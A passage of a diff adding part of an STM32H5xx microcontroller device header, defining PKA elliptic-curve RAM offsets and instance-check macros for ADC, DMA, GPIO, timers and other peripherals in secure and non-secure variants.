PKA_ECC_DOUBLE_LADDER_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_ERROR ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Compute ECC projective to affine conversion input data */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P X coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Y coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Z coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MONTGOMERY_PARAM_R2 ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Compute ECC projective to affine conversion output data */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result x affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result y affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + + +/** @addtogroup STM32H5xx_Peripheral_Exported_macros + * @{ + */ + +/******************************* ADC Instances ********************************/ +#define IS_ADC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)|| \ + ((INSTANCE) == ADC2_NS)|| \ + ((INSTANCE) == ADC2_S)) + +#define IS_ADC_MULTIMODE_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)) + + +#define IS_ADC_COMMON_INSTANCE(INSTANCE) (((INSTANCE) == ADC12_COMMON_NS) || \ + ((INSTANCE) == ADC12_COMMON_S)) +/******************************* PKA Instances ********************************/ +#define IS_PKA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == PKA_NS) || ((INSTANCE) == PKA_S)) + +/******************************* CRC Instances ********************************/ +#define IS_CRC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CRC_NS) || ((INSTANCE) == CRC_S)) + +/******************************* DAC Instances ********************************/ +#define IS_DAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DAC1_NS) || ((INSTANCE) == DAC1_S)) + +/******************************* DCACHE Instances *****************************/ +#define IS_DCACHE_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DCACHE1_NS) || ((INSTANCE) == DCACHE1_S)) + +/******************************* DELAYBLOCK Instances *******************************/ +#define IS_DLYB_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DLYB_SDMMC1_NS) || \ + ((INSTANCE) == DLYB_SDMMC1_S) || \ + ((INSTANCE) == DLYB_OCTOSPI1_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI1_S )) + +/******************************** DMA Instances *******************************/ +#define IS_DMA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA2_Channel0_NS) || ((INSTANCE) == GPDMA2_Channel0_S) || \ + ((INSTANCE) == GPDMA2_Channel1_NS) || ((INSTANCE) == GPDMA2_Channel1_S) || \ + ((INSTANCE) == GPDMA2_Channel2_NS) || ((INSTANCE) == GPDMA2_Channel2_S) || \ + ((INSTANCE) == GPDMA2_Channel3_NS) || ((INSTANCE) == GPDMA2_Channel3_S) || \ + ((INSTANCE) == GPDMA2_Channel4_NS) || ((INSTANCE) == GPDMA2_Channel4_S) || \ + ((INSTANCE) == GPDMA2_Channel5_NS) || ((INSTANCE) == GPDMA2_Channel5_S) || \ + ((INSTANCE) == GPDMA2_Channel6_NS) || ((INSTANCE) == GPDMA2_Channel6_S) || \ + ((INSTANCE) == GPDMA2_Channel7_NS) || ((INSTANCE) == GPDMA2_Channel7_S)) + +#define IS_GPDMA_INSTANCE(INSTANCE) IS_DMA_ALL_INSTANCE(INSTANCE) + +#define IS_DMA_2D_ADDRESSING_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA2_Channel6_NS) || ((INSTANCE) == GPDMA2_Channel6_S) || \ + ((INSTANCE) == GPDMA2_Channel7_NS) || ((INSTANCE) == GPDMA2_Channel7_S)) + +#define IS_DMA_PFREQ_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA2_Channel0_NS) || ((INSTANCE) == GPDMA2_Channel0_S) || \ + ((INSTANCE) == GPDMA2_Channel7_NS) || ((INSTANCE) == GPDMA2_Channel7_S)) + +/****************************** RAMCFG Instances ********************************/ +#define IS_RAMCFG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM1_NS) || ((INSTANCE) == RAMCFG_SRAM1_S) || \ + ((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/***************************** RAMCFG ECC Instances *****************************/ +#define IS_RAMCFG_ECC_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/************************ RAMCFG Write Protection Instances *********************/ +#define IS_RAMCFG_WP_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S)) + +/******************************* GPIO Instances *******************************/ +#define IS_GPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPIOA_NS) || ((INSTANCE) == GPIOA_S) || \ + ((INSTANCE) == GPIOB_NS) || ((INSTANCE) == GPIOB_S) || \ + ((INSTANCE) == GPIOC_NS) || ((INSTANCE) == GPIOC_S) || \ + ((INSTANCE) == GPIOD_NS) || ((INSTANCE) == GPIOD_S) || \ + ((INSTANCE) == GPIOE_NS) || ((INSTANCE) == GPIOE_S) || \ + ((INSTANCE) == GPIOF_NS) || ((INSTANCE) == GPIOF_S) || \ + ((INSTANCE) == GPIOG_NS) || ((INSTANCE) == GPIOG_S) || \ + ((INSTANCE) == GPIOH_NS) || ((INSTANCE) == GPIOH_S)) + +/******************************* DCMI Instances *******************************/ +#define IS_DCMI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DCMI_NS) || ((__INSTANCE__) == DCMI_S)) + +/******************************* PSSI Instances *******************************/ +#define IS_PSSI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == PSSI_NS) || ((__INSTANCE__) == PSSI_S)) + +/******************************* DTS Instances *******************************/ +#define IS_DTS_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DTS_NS) || ((__INSTANCE__) == DTS_S)) + +/******************************* GPIO AF Instances ****************************/ +/* On H5, all GPIO Bank support AF */ +#define IS_GPIO_AF_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/**************************** GPIO Lock Instances *****************************/ +/* On H5, all GPIO Bank support the Lock mechanism */ +#define IS_GPIO_LOCK_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/******************************** I2C Instances *******************************/ +#define IS_I2C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/****************** I2C Instances : wakeup capability from stop modes *********/ +#define IS_I2C_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) IS_I2C_ALL_INSTANCE(INSTANCE) + +/******************************** I3C Instances *******************************/ +#define IS_I3C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I3C1_NS) || ((INSTANCE) == I3C1_S) || \ + ((INSTANCE) == I3C2_NS) || ((INSTANCE) == I3C2_S)) + +/******************************* OSPI Instances *******************************/ +#define IS_OSPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OCTOSPI1_NS) || ((INSTANCE) == OCTOSPI1_S)) + +/******************************* RNG Instances ********************************/ +#define IS_RNG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RNG_NS) || ((INSTANCE) == RNG_S)) + +/****************************** RTC Instances *********************************/ +#define IS_RTC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RTC_NS) || ((INSTANCE) == RTC_S)) + +/****************************** SDMMC Instances *******************************/ +#define IS_SDMMC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SDMMC1_NS) || ((INSTANCE) == SDMMC1_S)) + +/****************************** FDCAN Instances *******************************/ +#define IS_FDCAN_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FDCAN1_NS) || ((INSTANCE) == FDCAN1_S) || \ + ((INSTANCE) == FDCAN2_NS) || ((INSTANCE) == FDCAN2_S)) + +/****************************** SMBUS Instances *******************************/ +#define IS_SMBUS_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/******************************** SPI Instances *******************************/ +#define IS_SPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S) || \ + ((INSTANCE) == SPI4_NS) || ((INSTANCE) == SPI4_S)) + +#define IS_SPI_LIMITED_INSTANCE(INSTANCE) (((INSTANCE) == SPI4_NS) || ((INSTANCE) == SPI4_S)) + +#define IS_SPI_FULL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +/****************** LPTIM Instances : All supported instances *****************/ +#define IS_LPTIM_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/****************** LPTIM Instances : DMA supported instances *****************/ +#define IS_LPTIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/************* LPTIM Instances : at least 1 capture/compare channel ***********/ +#define IS_LPTIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/************* LPTIM Instances : at least 2 capture/compare channel ***********/ +#define IS_LPTIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/****************** LPTIM Instances : supporting encoder interface **************/ +#define IS_LPTIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/****************** LPTIM Instances : supporting Input Capture **************/ +#define IS_LPTIM_INPUT_CAPTURE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/****************** TIM Instances : All supported instances *******************/ +#define IS_TIM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting 32 bits counter ****************/ +#define IS_TIM_32B_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) + +/****************** TIM Instances : supporting the break function *************/ +#define IS_TIM_BREAK_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************** TIM Instances : supporting Break source selection *************/ +#define IS_TIM_BREAKSOURCE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting 2 break inputs *****************/ +#define IS_TIM_BKIN2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : at least 1 capture/compare channel *************/ +#define IS_TIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************ TIM Instances : at least 2 capture/compare channels *************/ +#define IS_TIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************ TIM Instances : at least 3 capture/compare channels *************/ +#define IS_TIM_CC3_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************ TIM Instances : at least 4 capture/compare channels *************/ +#define IS_TIM_CC4_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 5 capture/compare channels *******/ +#define IS_TIM_CC5_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 6 capture/compare channels *******/ +#define IS_TIM_CC6_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : DMA requests generation (TIMx_DIER.UDE) ***/ +#define IS_TIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************ TIM Instances : DMA requests generation (TIMx_DIER.CCxDE) *******/ +#define IS_TIM_DMA_CC_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/******************** TIM Instances : DMA burst feature ***********************/ +#define IS_TIM_DMABURST_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/******************* TIM Instances : output(s) available **********************/ +#define IS_TIM_CCX_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2)))) + +/****************** TIM Instances : supporting complementary output(s) ********/ +#define IS_TIM_CCXN_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1))) + +/****************** TIM Instances : supporting clock division *****************/ +#define IS_TIM_CLOCK_DIVISION_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****** TIM Instances : supporting external clock mode 1 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : supporting external clock mode 2 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting external clock mode 1 for TIX inputs*/ +#define IS_TIM_CLOCKSOURCE_TIX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting internal trigger inputs(ITRX) *******/ +#define IS_TIM_CLOCKSOURCE_ITRX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting combined 3-phase PWM mode ******/ +#define IS_TIM_COMBINED3PHASEPWM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting commutation event generation ***/ +#define IS_TIM_COMMUTATION_EVENT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting counting mode selection ********/ +#define IS_TIM_COUNTER_MODE_SELECT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting encoder interface **************/ +#define IS_TIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + 